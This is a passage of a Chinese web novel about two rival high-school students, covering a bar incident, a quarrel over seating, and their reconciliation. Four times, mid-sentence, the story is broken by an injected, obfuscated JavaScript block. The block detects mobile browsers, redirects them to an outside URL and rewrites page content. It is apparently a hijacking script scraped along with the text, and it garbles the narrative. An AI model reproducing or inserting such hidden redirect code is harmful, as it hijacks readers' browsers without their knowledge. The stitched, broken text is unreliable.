“你又跟着我干嘛?”地铁上,温知新很哀怨地盯着眼前人。 车厢里最后一个空位被她坐到,祁昂握着吊环,闷不吭声地站在温知新身前,低着头看她。 “没跟着你,顺路。” 温知新双臂交叉横在胸前,“待会儿你如果和我在同一站下车,你就是小狗。” “……” 温知新和小狗祁昂在大学城站走出地铁。 “别去告我状。”温知新推开夜色大门前,警告似的跟祁昂说。 “我没告过你状。”祁昂整个人还是红的,但说话已经恢复冷冰冰。 到底在装什么,说话的时候有点儿活人的感觉很难吗! 不知道受哪位高人指点,宋远航终于舍得放弃轰炸耳膜的摇滚乐曲,而是请了驻唱歌手,一首首抒情情歌唱的人很想多喝几杯,醉后讲爱错的人。 “晚上好,温温小同学。”宋远航和温知新打招呼,视线一移,看到她身后的男生,随口问,“男朋友?” “不是,早恋违反校规。”温知新说,“这是我的同学。” “同学?” “嗯,不像吗?” 宋远航真的观察起他们来,两人一前一后站着,温知新刚好到男生的下巴,长发散在身后,水蓝色及膝连衣裙,恬静又乖巧。 而男生全身黑,帽檐压的很低,单手插口袋,挺酷的。 她突然想到自己最近看的一本小说,□□小公主和她的贴身高冷保镖,这俩小朋友还挺像的。 宋远航笑着和他们两个讲,温知新很夸张地搓了搓手臂,“他不追杀我,我就谢天谢地了。” “……”祁昂闷不吭声地推了一下温知新的小臂,力道很轻。 “看看喝什么?” 温知新给自己点了一杯低度数的鸡尾酒,给祁昂点了一杯柳橙汁。 宋远航问:“你同学不喝酒吗?” “不喝。”温知新看了一眼祁昂,“他本来就不怎么清醒。” “……” 祁昂知道她在说刚才的事情,很不占理地沉默着。 宋远航空下来的时候来和温知新聊天,说正男那个混蛋爹在派出所关了三天还不老实,出来之后又来酒吧闹事。 “就往门口一站,用喇叭喊我们私藏他儿子。” “真有病。”光线滑过温知新柔静的侧脸,然而她的表情却和长相截然相反,冷漠又轻蔑。 祁昂喝下一口柳橙汁,又酸又甜,他眉心轻蹙。 他不喜欢这种界限不明的味道。 过了大概二十分钟,温知新的鸡尾酒快要见底,祁昂也默不作声地把面前的小甜点吃了一大半。 “看,来了。”宋远航微抬下巴,温知新和祁昂都往后看。 一个穿着迷彩短袖和黑色短裤的矮胖男人,举着一只红色喇叭,按下播放键,混浊的声音传出来:垃圾酒吧!私藏我儿子!不让我儿子跟我回家! “就放任他这样?”温知新问。 宋远航无奈耸肩:“没办法,谁上去拦他就打谁,没有发生实质性冲突,警察来了也只能口头警告,什么用都没有。” “那你应该继续放之前的摇滚乐,最起码能盖住他的声音。”温知新乱想办法。 惹来宋远航两下轻拍,“去——” 酒吧里的客人似乎都习惯了这个场面,起初还有几个人拿出手机录视频,后面就随男人便,爱怎么喊怎么喊吧。 温知新也跟着拿出手机,但不是为了拍照或者录视频,而是温倩来了信息。 妈妈:【我下飞机了,大概一小时之后到家】 温知新:“!” 她把最后一口酒喝完,顺手把盘里的最后一块小曲奇塞进祁昂的嘴里,“航姐,钱已经付过了,我们先走了。” “真有人追杀你?”祁昂问。 “不是追杀,但比追杀可怕。”温知新说。 她匆匆往外走,昏暗环境下没注意脚下,不小心碰到了正男混蛋爹的鞋。 ……啊哦,温知新抱歉一笑,“不好意思。” 然而矮胖男人一点就炸,立刻发起飙来,扯住温知新的衣领不让她走。 祁昂挡到温知新身前,紧攥住矮胖男人的手腕,使劲往下压,“放手。” 男人吃痛松开手,更加怒目圆睁,但他却知道欺软怕硬,专逮着小姑娘打。 温知新揪着祁昂的短袖,躲在他的身后,露出脑袋抗议,“你怎么只打我一个?” “你藏好。”祁昂把她按回去,他比矮胖男人高出一个半头,两只手死死抓着矮胖男人的手臂,“别碰她。” 宋远航抬手让保安上前把矮胖男人拉出去,“你俩没事吧?” “没事。”温知新说,“航姐,你还是抓紧把他解决了吧,跟个定时炸弹似的。” “嗯,我想办法。”宋远航说,“你俩回家注意安全,保镖先生保护好公主殿下。” “……”请不要对十六岁的少男少女说如此中二的话,好吗? 从夜色出来之后,温知新几乎是小跑进的地铁站,坐下来之后又频频看手机。 祁昂低着头,看到胸前的泥梅花印已经干掉。 “你月考考得怎么样?”温知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076208|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新忽然问。 “很好。”祁昂说,神色平静。 “……”好装,但是这应该是事实,所以她更生气。 温知新说:“会不会又考了一回第二?” “不会。”祁昂回答的斩钉截铁。 温知新敲着手机屏幕,脑子里想到什么就说什么,祁昂倒也有问必答。 “你物理化学很厉害,怎么学的?” “听课。” “听课就能拿满分吗?” “我可以。” “你说话一直这么欠打吗?” “我不觉得。” “许妄说就算你是火坑也会有人为你前仆后继,你知道吗?” “不知道。” “你自己也这么觉得吗?” “我不觉得。” 三站路程,让温知新和祁昂玩成了快问快答。 两个人的声音都很小,只有彼此能听见,好像共享了十几分钟秘密。 到宜安一中站。 厢门打开,温知新和祁昂随着人流一起下车,在人来人往中,温知新回头笑了一下,“最后一个问题,你挺帅的,你知道吗?” “……”祁昂愣了半秒,微不可查地“噢”了一声,嘴角上扬了五度。 “哈哈哈哈。”温知新注意到他的表情,大笑起来,眼角眉梢都生动鲜活,“你这样多好啊,干嘛总摆出一副生人勿近的冰块样子。” “我没有。” 又来了。 但是温知新现在没时间和他说这些,温倩女士马上杀到家门口,卧室里那些课外书被发现就完蛋了。 她要赶回家收拾现场。 两人在小区门口分别,温知新喊住祁昂:“在我们抓小猫的草丛那儿还有一袋猫粮,能不能先放你那里?” “可以。” “谢谢,我先回去了,学校见。” 温知新跑回单元楼,走进电梯,回到家开始收拾屋子。 首先将卧室里所有不该出现的东西全部塞进一只大纸箱里,然后藏进衣柜,然后把衣服换成一套最普通的灰色睡衣。 完成一切的温知新同学如释重负,坐到书桌前,摸过来一张英语试卷开始写。 十点半温倩回家,先把客厅餐厅卧室客卧的灯全打开来,她喜欢家里亮堂堂的样子。 “宝贝,妈妈回来了。” 温知新立刻放下笔,冲出卧室,抱住温倩,“妈妈!” “你吃饭了吗?”温知新问。 温倩坐到沙发上休息,“吃了,这次飞机餐还不错。” 温知新把她放在玄关的行李箱推进来,“累不累?” “还行,每个月都飞来飞去习惯了。”温倩说,“里面有一些给你的礼物,你看看喜不喜欢。” “肯定喜欢。”温知新边说,边打开行李箱,看到了四五个包装精美的盒子,她没拆,只是说,“谢谢妈妈。” “你这次会在宜安待几天?” “五一假期结束我就得走。”温倩说,“我七月份这个项目就能结束,到时候我应该会一直待在宜安了。” 温知新说:“好,你要注意身体,别老加班。” 温倩喝一口温水,“我心里有数,你心里也要有数。宝贝,高二下学期转学已经很难融入新环境了,我不想高三再帮你办一次转学了,你知道的,我这都是为你好。” “我知道。”温知新低着头回答。 12. 吵架 五一假期第二天和第三天。 温倩一直在家陪着温知新,面对面监督她写作业的效率要比监控高。 “你月考考得怎么样?” 温知新说:“正常发挥。” “正常发挥是多少分?第几名?” “690分左右,第一第二第三都有可能。” “宝贝,我希望你下次可以肯定回答我是第一。” 温知新深吸一口气,说:“我会努力的。” 手机里躺着姜寐约她出去玩的信息,温知新趁温倩不注意抓紧回复。 温故而知新:【除了图书馆和书店我可以赴约,其他地方我都不能去】 睡睡平安:【你拒绝我的借口好特别】 温故而知新:【不是借口,我在家学习呢,出不去】 睡睡平安:【我昨天喊你,你也是这么说的,三天假期你都在学习吗?】 温故而知新:【[图片]对啊】 温知新把自己的假期计划拍给她,从早六点到晚十二点,除了吃饭午睡,没有休息时间。 或许是太过震惊,姜寐缓了足足五分钟才发来信息。 睡睡平安:【告辞,祝平安】 温知新已经习惯这种强度的学习,她没有聪明到随便学学就能考到700分,那中间的差值就用努力一点一点填起来。 所幸她还有点小幸运,付出的时间真的能变成具象化的分数。 温倩离开的时候没让温知新去送,母女俩在小区门口拥别。 温倩抱着她:“好好学习,有什么想要的就给妈妈打电话。” 温知新点头:“知道,我只想要你注意身体,少熬夜加班。” 温倩坐上出租车:“会的,你也照顾好自己。” 此时已经是假期最后一天假的晚上九点。 温知新想去找祁昂拿回猫粮,翻手机才想起来对方压根没给自己留联系方式。 算了,明天回学校再说吧。 温知新原路返回出租屋,把温倩回来那天自己装模作样写了几道题的英语试卷翻了出来,掐着时间写完,然后评分。 红色记号笔在卷头写下硕大的几个数字。 “124.5。” 赵言心站在讲桌后面,笑得很开怀,“好遗憾,比我们约定的分数要低0.5分,那这个作业——” 许妄立刻喊起来,用海绵宝宝主题曲的调调:“宜安一中最人美心善的老师是谁?” 其他同学马上接:“高二理一赵言心!” “宜安一中最善解人意的老师是谁?” “高二理一赵言心!” “宜安一中最关爱学生的老师是谁?” “高二理一赵言心!” “宜安一中最……” 赵言心双手做了个暂停手势:“停,再喊我真留作业了。” “嘻嘻。”不知道是谁没忍住笑出了声,全班又哄堂大笑起来。 下课,赵言心让祁昂跟自己回办公室拿成绩条。 她的电脑没关,开了一个新Excel表,名字叫做座次表(5月份) 不会有很大的变动,只有个别学生需要根据他们本人的意见做出重新的调整。 理重班没有成绩差的学生,而且赵言心不是唯成绩论的老师,不会按照分数高低去排座位。 她更关注学生本身的想法。 想和好朋友坐一起,没问题;不想和异性坐一起,没问题;想做讲台旁边,也没问题。 毕竟如果让她和不喜欢的老师共事,她都会很难受,何况十几岁的小孩呢。 “上回你说不想和知新做同桌,这次我把你们调开,你和方集坐一起可以吗?” 刚被数学老师喊来办公室拿试卷的温知新:“……” 问:除了她,班里还有第二个叫知新的人吗? 答:没有了。 赵言心看到温知新后,也把她喊了过去,“知新,你也来看看想和谁做同桌吧,考完试之后有好多人和我说想和你坐一起呢。” “大家都是同学,我和谁做同桌都会很开心的。”温知新眨眨眼,对祁昂露出一个善解人意的微笑。 祁昂:“……” 温知新拿了试卷后离开教室,结果越想越气。 她还没有去找班主任说要换座位,凭什么祁昂先她一步。 她温柔可爱明媚大方聪明善解人意,优点多的两只手都数不过来,祁昂有什么不满意的。 没听班主任说吗,很多人都想和她做同桌。 真是身在福中不知福。 她再也不要理祁昂了,讨人厌。 抱着试卷回班,温知新凭仅有的印象发试卷,她记人很慢,除了几个经常在一起玩的,其他人都是名字和长相对不上号。 秉持着有嘴就是用来问的思想,温知新拿着试卷一个一个问过去。 发了六七张之后,真正的数学课代表本人,彭国豪,即高矮个儿中的高个儿,才姗姗来迟。 “知新。”彭国豪把试卷从温知新手里接过来,“不好意思,去了趟超市,剩下的我来发吧。” 他还顺便塞了一根棒棒糖给她。 - 祁昂从办公室出来回到教室,给所有人发完成绩条,手里只剩下自己和温知新的。 他静静坐在位置上,把成绩条看了又看。 温知新发完试卷回来之后,看到的场景就是这样,祁昂对着她的成绩条,面色凝重。 干什么? 觉得和第二做同桌很掉价吗? 一天到晚摆脸色给谁看啊到底。 温知新走过去,直接把自己的成绩条夺了过来,结果因为她的力气过大,以及祁昂没有打算松手,所以又细又窄又薄的纸条很轻易地断成了两份。 温知新和祁昂各拿着一半。 “……” “……” 祁昂手里只有姓名那一小截,完全不影响温知新正常看成绩。 总分698,总排2,年排2,班排2。 语文139,数学145,英语145,物理88,化学85,生物96。 其实还可以,但是温倩不会满意。 温知新盯着成绩条,默默在自己的计划上多加了半小时物理和半小时化学。 随后她的余光一瞥,看到祁昂的成绩。 总分707,后面跟着好几个1。 好耀眼,好讨厌。 温知新把成绩条团起来扔掉,问祁昂:“赵姐说什么时候换位置了吗?” 祁昂把下节课要用的练习册拿出来:“没有。” 温知新边找书边问:“我和谁坐一起?” 祁昂不冷不热地说道:“我。” 温知新停下动作去看他,“?” “什么意思?”温知新问,“你不换座位了?” 祁昂看着空空荡荡的黑板,含糊不清地“嗯”了一声。 温知新心里的火一下子就冒了起来,直接烧到天灵盖。 什么意思? 她是一个摆件吗? 祁昂想把她摆在哪里就摆在哪里。 温知新勾唇冷笑,“祁昂,你知道我和你一样都是人吗?我不是玩具不是装饰,不是你想要就要,不想要就不要的,世界不是围着你转的大少爷,你以为谁稀罕和你当同桌。” 离上课没有几分钟了,但温知新正在气头上不管不顾要出去找赵言心说换座位的事情,结果祁昂巨大一只,拦住她的去路。 “祁昂,好狗不挡道。” 祁昂充耳不闻,不动如山。 温知新简直要气笑了,“什么意思啊祁昂?你不想和我做同桌的时候可以去找老师讲,我不可以。怎么,别人吹几句你是垄断第一名的王就真的把自己当皇帝了,还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076209|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞封建专治独享政权这一套是吗?” “不是。” “那你什么意思?” “我没想换同桌。” “谁管你,现在是我要换。”温知新冷声冷调。 眼看祁昂要拦不住她了,此刻预备铃却响起来,生物老师风风火火进了教室,及时把温知新摁在了座位上。 高二下学期,已经开始一轮复习,把从前学过的知识点拎出来重新讲一遍,枯燥无聊乏味。 温知新左耳进右耳出,生物复习册下面压的是物理五三,她做的很专心,没听见生物老师喊她的名字。 “知新!”许妄压着嗓子,胳膊往后伸,推了一下她的书山。 温知新才回神,生物老师已经面带笑容走到了她的旁边。 一抬手,把她的物理试卷拽了出来。 “生物都学会了?”李娜问,“你这次考试考多少分?” 温知新站起来,“九十六。” 单科年级第二,第一在她旁边坐着。 “九十六就骄傲了吗?你看看祁昂,考了第一也没……”李娜一边说一边去翻祁昂的书,本意是想让温知新看看榜样,然后复习册一歪,露出了下面的一本小说。 《书剑恩仇录》 祁昂:“……” 李娜:“……” “你俩今天午休多写一张卷子,晚修来找我面批,坐下吧。” 温知新把五三往桌洞里一塞,百无聊赖地听了一节生物课。 下课铃响,她如蒙大赦,没骨头似的趴到桌子上,打算把彭国豪给自己的棒棒糖拿出来吃掉。 她看了眼包装袋,草莓味道。 还没撕开,许妄就凑过来,气血不足的模样,音调都跟着降了八度:“还有吗?我好像低血糖了。” 温知新直接把手里那个递给他,“就这一个,彭国豪给我的,你吃吧。” “你不吃了?”许妄接过来开拆。 温知新说:“我不喜欢这个味道。” “糖不都是甜的吗?”许妄嘎嘣咬碎糖球,疑惑道。 温知新歪头,脸颊贴着草稿纸,慢吞吞道:“不是啊,有酸糖,我喜欢能酸掉牙的那种。” “那你肯定喜欢吃山楂。” “特别喜欢,我可以直接吃一斤。”温知新莫名其妙骄傲起来,食指在半空中晃一晃,胳膊上的电子手表跟着亮起来,“厉害吧。” “厉害,只是想想我都要留口水了。”许妄说。 温知新懒洋洋笑了两声,“你这是条件反射。” 许妄笑起来,学着李娜的口气,改疑问句成陈述句,“行,生物都学会了。” 温知新闷闷笑起来。 她面向窗户,祁昂只能看到她圆润的后脑勺,随着笑声一颤一颤。 歇完了,该办正事了。 她怕祁昂还拦着自己,直起身后以百米冲刺的速度闪出了教室。 许妄看着她一眨眼就消失的背影:“我的天,怎么跑这么快,有鬼追她吗?” 鬼·祁昂慢条斯理地掀过一页小说,沉默不语。 下节课是班主任教研会,这个时间赵言心早就去实验楼了,不可能在办公室。 扑了空的温知新憋着一肚子气回来,看到祁昂那张宠辱不惊的脸更是恼怒。 午饭时忍了又忍,实在没忍住,旁敲侧击问姜寐: “祁昂他一直是这个性格吗?” “什么性格?”姜寐问,“不爱说话?” “就是……有点儿以自我为中心。”温知新说。 姜寐笑起来,“对呀,你以为大家真的只是因为成绩好才叫他王的吗?” “怪不得。”温知新戳戳米饭。 那么唯我独尊,高高在上,不可一世,目中无人。 总之讨厌讨厌讨厌。 这次他就算道十五次歉,她也不会原谅他。 13. 酸糖 然而同桌没换成,冷战也没冷成。 因为祁昂很狡诈地请来了外援。 中午放学,班里同学都走光了,祁昂喊住温知新,给她看了一张照片。 是在医院看到那只小可怜。 它惬意地躺在猫窝里睡觉,阳光晒到身上,给白色的毛镀上一层金边。 “你把它带回家了!”温知新激动地跳起来,声音不自觉放大,她捂住嘴巴,不好意思地笑了一下。 她有时间就会去医院看小猫,前台姐姐说小白和小狸花以及这只小可怜都已经被领养走了。 温知新既开心又有点不舍,只是没想到小可怜居然是被祁昂带回了家。 “不是说只能有经济能力的成年人才能领养吗?”温知新问。 祁昂挑眉:“我没家长?” “……”忍无可忍,无需再忍,温知新打了他胳膊一下,很清脆的一声“啪”回荡在教室里,“有就有,不能好好说话吗?” “知道了。”祁昂说,他继续滑动相册,全是小可怜。 温知新迅速被吸引视线,问:“给它起名字了吗?” “起了。”祁昂说,“叫和和。” “哪个he?”温知新抬头问他。 “和好的和。”祁昂低头,垂下目光看着温知新的眼睛,意有所指。 温知新愣了一下,反应过来后说:“我看应该叫好好,好好说话的好。” “它很爱喵喵喵。”祁昂没头没尾地说。 “嗯,它很会说话,但是有人不会。”温知新斜睨他一眼,“你应该叫好好,祁好好。” “那你叫坏坏。”祁昂说。 温知新哼笑,“我要是真的坏,就把你偷带手机的事情告上公堂。” “老师会更相信我的。”祁昂淡淡说。 温知新:“……”欺负她是新来的是吧。 “回家,我还要多写一张生物卷子呢。”温知新说。 同样要写生物卷子的祁昂只拿了那张试卷,折了四下揣进口袋之后,非常自然地接过温知新沉甸甸的书包。 两个人一起往外走,祁昂忽然问:“你多高?” “开学体检168,现在估计170了。”温知新说,警觉地盯着祁昂,“你想说什么?” 祁昂觉得她真的很像有点风吹草动就警惕起来的小狐狸。 他不明显地笑了一下,揶揄她:“如果不背这么重的书包,你可能就175了。” “滚蛋。”温知新打他的背。 此刻走读生回家,住宿生回宿舍,校园里一个人也没有了,只有阳光铺满地。 树叶晃动,蝉声刺耳。 温知新故意落后祁昂半个身子,躲在他的影子里。 “温知新。” “嗯?” “走快点。” “不要,晒死了,你长这么高就要用来遮阳啊。” 两个人拐弯,消失在楼梯间。 - “我真的打算一直不理你的。”温知新说。 祁昂说:“知道。” 不然他也不会拿出来杀手锏,他肯定温知新不会对小猫无动于衷。 “我们还能继续做同桌吗?”祁昂问。 “你真的想吗?”温知新问。 “真的想。”祁昂说。 两个人并肩骑在林荫道上,温知新在路的里面,晒不到阳光,反而是祁昂大半个身子都在烈日下,冷白的皮肤几乎过曝。 “不是因为我生气,也不是因为我会不理你吗?” 祁昂诚实道:“也有这个原因在。” “你放心,就算不做同桌我也不会生气,不会不会理你了。”温知新说,“我只是觉得不公平,凭什么你想怎么样就怎么样,我难道不是人吗,我没有自己的思想吗?” “对不起,是我没考虑好。”祁昂说。 “我之所以和赵老师说想换座位,是因为那时候我以为你的贫困生资格是抢别人的,而且还拿着这笔钱去花天酒地,所以我才想换座位。” 温知新被他解释的心烦,说来说去不还是偏见。 她握紧车把,控制着车身往旁边偏,把祁昂撞的东倒西歪。 风吹起她的头发,柏油马路宽阔无人,祁昂努力保持平衡,问她:“消气了吗?” 温知新哼一声,说:“你真摔下去,我就消气了。” “我不会。” “你玩不起。” “我们是在玩吗?我以为我在给你道歉。”祁昂很认真地说,“你和我说话,就代表原谅我了,是吗?” “……”好会逻辑关系哦,温知新无语,“要不要我夸你聪明?” “不要。”祁昂声音清冽,像山巅的雪,“要你继续和我做同桌,可以吗?温知新。” 温知新觉得自己被阳光晒到目光发眩,她看着他背着自己明黄色的书包,想不起来到底是哪一次放学开始,自己那重的要死的书包就跑到了祁昂的肩。 “我考虑考虑吧。”温知新这样说着。 但她已经决定好继续和祁昂坐在一起,因为她很想知道祁昂真的会永远高高在上吗? 她见过他因为受伤小猫而哭泣,那人呢?他会不会因为某个人而流泪。 如果真的有那天,她一定要做第一个嘲笑他的人。 - 温知新中午没睡,写了一张生物试卷,又写了一小时化学,还被温倩训了半个多钟头。 “这套题不难,没上七百分是你的问题,好好反思一下,明天晚上把六科的错题总结发给我。” “你要知道我为了你付出了多少,你就用这个来回报妈妈吗?你让妈妈很失望。” “宜安的强度不比云宁,妈妈又不在你身边,你要自己上心。” …… “宝贝,以后每晚学习时间延长到两点吧,好吗?” 温知新用凉水扑了两把脸就去上学,踩点踏进教室,额头的薄汗被冷风卷走。 许妄看她慢吞吞的动作,问:“怎么感觉你没精打采的?中午没睡好?” 温知新把课桌上乱七八糟的书和草稿纸都收进桌洞里,摇摇头,“不是,压根没睡。” 许妄疑惑:“两个小时的午休时间都不睡觉,你干嘛呢?” 温知新说:“就写题。” “写两个小时?!” “差不多。” “怪不得你能考七百分。” “谢谢你的肯定,但是我这次月考只考了六百九十八,考七百的另有其人。” 温知新指了指旁边的人,自自己像个没电的玩具,“咚”一声就趴到了桌子上,没精打采问:“第一节什么课?” 祁昂说:“语文。” “太棒了,我要睡会儿。”温知新的脸已经埋进胳膊里,声音闷闷的,“请帮我看着点儿老师,谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076210|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” “午休时间写题,上课补觉。”祁昂语气轻描淡写,“新王的学习方法真是与众不同。” 温知新没抬头,抽出一只胳膊锤了祁昂一下,“你说话又阴阳怪气是吧,再这样你管自己叫和和也不可能和好了。” “……知道了,睡吧。”祁昂起身,帮她把窗帘拉紧。 前排的许妄像活见鬼,眯起眼睛,戏谑地看着祁昂,凑过去压低声音,“不对劲,十二分不对劲,你是祁昂吗?什么时候这么好说话了?” 祁昂抬眼,食指竖在唇前,要他闭嘴。 许妄:“……” 这两个人,绝对不一般。 睡了一节课,温知新明显精神多了,抱着大水杯猛喝了五分钟,完成任务似的喘了一大口气。 祁昂刚好从外面回来,带着一身燥热坐下来,轻轻碰了下温知新的手背。 “伸手。” 温知新不解,但依言张开手,随后,她的手心里冷不丁多了点东西。 她低头去看,是几颗糖,彩色塑料纸包装,在阳光下闪闪发亮。 温知新认识这个包装,她很喜欢吃这款酸糖。 不过厂家因为经营不善,砍掉好几条生产线,供货量大不如前,以至于市面上很难买到这款糖,慢慢她也不怎么吃了。 “给我的?”温知新问,“想贿赂我?” “爱吃不吃。”祁昂又要抢回来。 温知新眼疾手快,迅速剥开一粒塞进嘴里,熟悉的酸味盈满口腔,好吃好吃。 “特意给我买的?”她笑着凑过去,“想讨好我?” 祁昂说:“你想得美,超市没零钱了,收银员把糖当零钱找给我而已。” 温知新一眼看破祁昂拙劣的谎言,轻笑一声,“祁昂,你有本事就一直嘴硬。” 祁昂干咳一声,顶着通红的耳朵转移话题:“你什么时候去找生物老师面批?” 温知新说:“我晚修去,你要和我一起?” “嗯,两个人骂的轻一点。” 温知新“切”一声,不满道:“你又拿我吸引火力,上次张老师问你为什么放弃保送的时候你就是故意喊住我,害得我也被张老师逼问,我那时候就觉得怎么会有人这么讨厌啊。” 她普通话很标准,但是喋喋不休的时候就会带点不知道从哪儿学来的口音,有点黏糊,跟自带波浪号似的。 祁昂很短促地笑了一声,说:“那真是对不起。” 温知新说“哦哟”,杏眼睁得圆圆的,不可置信地去看祁昂,“这回怎么道歉的这么流畅,都不用我生气了,你是谁,你把真的祁昂怎么了?” 祁昂歪头,漆黑的眼睛没什么波澜地直直盯着她。 温知新一秒坐好,嘴里不停,“还不如阴阳怪气呢,不说话更可怕。” 祁昂抬手,在她的脑袋上弹了个脑瓜崩。 温知新捂着后脑勺,拧眉看他。 祁昂说:“我没用力。” “没用力我也疼。” “你打回来。” 祁昂把胳膊伸过去。 温知新打祁昂毫不手软,食指中指并在一起,重重往下一抽,冷白的皮肤上霎时多了两道红痕。 格外醒目。 “消气了?”祁昂垂眸看她。 温知新嘴里含着一颗糖,“勉强吧。” 祁昂看回黑板,嘴角扬起一个不明显的笑来。 14. 绯闻 晚修。 第一节生物自习,温知新和祁昂拿着试卷到讲台上面批。 这套题简单,两个人都全对。 李娜说:“真不想管你们这些聪明小孩,下次不许在我的课上做别的了,回去吧。” 第二节自习课是班会。 赵言心先说了一下月考,“按照年级给的重本线来看,我们班其实并不是全员安全的,有几位同学只能勉强上到末流985,把握好一轮复习的机会,弯道超车。” 许妄小声和同桌科普:“其实在真正跑步的时候是不建议弯道超车的,特别累,还容易……” “许妄!你讲我讲?”赵言心扬声,“要不然,你上来讲吧。” “不不不,您讲您讲。”许妄在嘴上做了个拉拉链的动作,低下了头。 赵言心也没再继续讲,剩下时间放了一集动漫,直到距下课还有五分钟时才想起来还有换座位这件事。 她连忙在多媒体上打开新的座位表,让学生们在下节自习之前换好。 温知新和祁昂被支到了第一排。 祁昂东西很少,一趟就能搬完,之后就来帮温知新搬。 两个大箱子外加两大摞书,温知新完全插不上手,她只用抱着自己的大水杯跟在祁昂身后,从最后一排挪到第一排,十分快速。 帮人搬东西这件事,说大不大,说小不小,放在高中生的青春物语也足够拍上一集了。 温知新正指挥着祁昂摆放书箱,感受到什么似的猛地抬头,和窗户外面的一排眼睛对上了视线。 “!”她被吓一跳,手下意识拍到祁昂的肩。 正弯腰给温知新公主摆箱子的祁昂没抬头,清冽的声音没半点不耐烦,只是问:“怎么了?这个方向也不行?” “……不是,你看。”温知新眨眨眼,指了指外面。 祁昂就着俯身的动作回头,他坐在更靠近窗户的里面,温知新靠过道稍远一些,两人都看着窗外,一个冷脸一个乖巧,旗鼓相当的颜值,十分养眼,十分登对。 走廊的几个女生笑得激动又克制,很自来熟地挥挥手之后就跑远了。 “你朋友?”祁昂不明所以,问温知新。 温知新说:“不是,更像你的迷妹。”她笑得揶揄,“祁火坑同学~” “……” 祁昂坐正身子,又成一副冰块脸,“你自己放箱子。” 温知新往地上一看,乐出声,这人早就摆把书箱给她好了。 全都收拾好之后,正好敲响上课铃。 三十五个人,采用了二三二的排列方式。 温知新和祁昂在最右边第一排,靠门靠窗。 许妄和舒格在最左边第二排,靠窗。 姜寐傅云星加彭国豪在中间第三排。 基本配置就是一个爱说话的加一个不爱说话的。 温知新主持公道:“这样安排是为了让爱说话的人安静吗?可是对人家喜欢安静的同学好不公平,也没问过人家愿不愿意。” 祁昂翻过一页复习册,凉凉道:“温知新,你现在话就很多。” “……”不小心“同流合污”的温知新讪笑:“不好意思,我不说话了。” 祁昂抽出草稿纸,“没不让你说,下课说。” 温知新小小声“哦”了一句,也抓起笔准备写题。 她的课桌被重新理过,各科复习资料摞得整整齐齐。 温知新抽出习题册,夹在其中的便签纸掉了出来。 ——温温宝贝,今晚妈妈加班,你早睡不要等我了。 这是十二岁的温知新收到的,来自温倩的留言,贴在云宁家里的冰箱上,在她一抬头就能看到的位置。 那会儿温知新迷上小说,总会一边看书一边等温倩下班回家,经常熬到很晚。 之后每次要加班之前,温倩都会留下一张便签,要温知新早睡别熬夜。 而此时此刻的温知新坐在教室,透过这张发黄犯旧的便签,脑海中浮现出温倩的声音。 “该干什么不该干什么,你拎不清是吗,温知新,从今天开始晚上推迟一小时睡觉,考上七百分再谈休息。” 于是她的学习计划表被重新排,从五点到凌晨一点,数英物化生填满了她所有能喘息的缝隙。 黑色中性笔压着温知新中指指侧的茧子,她想过干脆就这样一直浪费时间吧。 一个字都不要写了。 但是她做不到。努力学习是刻在身体里的程序,她还没反应过来时就已经在列式子了。 温知新认命去和物理死磕,但她心里烦,做题也不顺畅,有半节课的时间都在偷偷叹气。 下课铃声一响,温知新立刻放下笔,抱着水杯往外走,闻到外面燥热的空气才觉得解脱。 接完水之后,回身发现祁昂也在,低垂的侧脸线条优越,帅的好像和其他人不是一个图层。 他的水杯就五百毫升,握在他手里跟个玩具似的。 相比之下,温知新三千毫升的保温杯好像个桶,她还需要双手抱着。 “你水杯也是黑的。”一起回班时,温知新说,“之前几次在学校外面见到你,也是一身黑,你很喜欢黑色吗?” 祁昂看了眼她贴满粉嫩贴纸的水杯,很轻地笑了一下。 “笑什么?”温知新问。 “你倒是每次穿的都很五彩缤纷。”祁昂说,像小蝴蝶。 温知新说:“是啊,每天泡在题海里的生活已经够枯燥了,我再不穿的漂亮一点儿,世界就真的变黑色了。” “噢,上节自习做题做到唉声叹气,是因为校服颜色太单调了?”祁昂歪头挑眉问她。 温知新锤他的背,“你烦死了,祁昂。” 她从小到大辗转多地求学,各路方言都学了一两分,混在一起就显得奇奇怪怪黏黏糊糊的。 听起来特别可爱。 祁昂笑个不停,甚至把头偏了过去,肩膀还在一个劲地抖。 “笑屁。” “笑你。” “……”烦死了。 温知新又锤了他一下,抱着水杯噔噔噔往教室走。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 